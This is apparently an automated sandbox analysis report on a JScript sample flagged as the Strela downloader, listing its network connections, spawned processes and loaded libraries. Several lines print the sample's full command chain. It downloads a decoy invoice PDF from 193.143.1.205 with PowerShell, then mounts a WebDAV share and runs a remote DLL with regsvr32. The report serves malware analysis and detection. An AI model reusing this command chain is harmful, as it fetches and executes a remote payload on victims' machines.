Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2136096014.000001E871D54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2197609169.000001B8D5588000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197609169.000001B8D55DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2197609169.000001B8D55B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2197609169.000001B8D55B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ai
Source: net.exe, 00000007.00000002.2197609169.000001B8D55B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ei
Source: net.exe, 00000007.00000002.2197609169.000001B8D5588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3421319875.00000204782B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2203396408.00000204781A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2696, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 15943270342346830855.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5972:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cehkfu1w.50y.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 15943270342346830855.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\15943270342346830855.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1772,i,9076857795864624000,12675587857248145815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\320592035530945.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2188 --field-trial-handle=1772,i,9076857795864624000,12675587857248145815,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
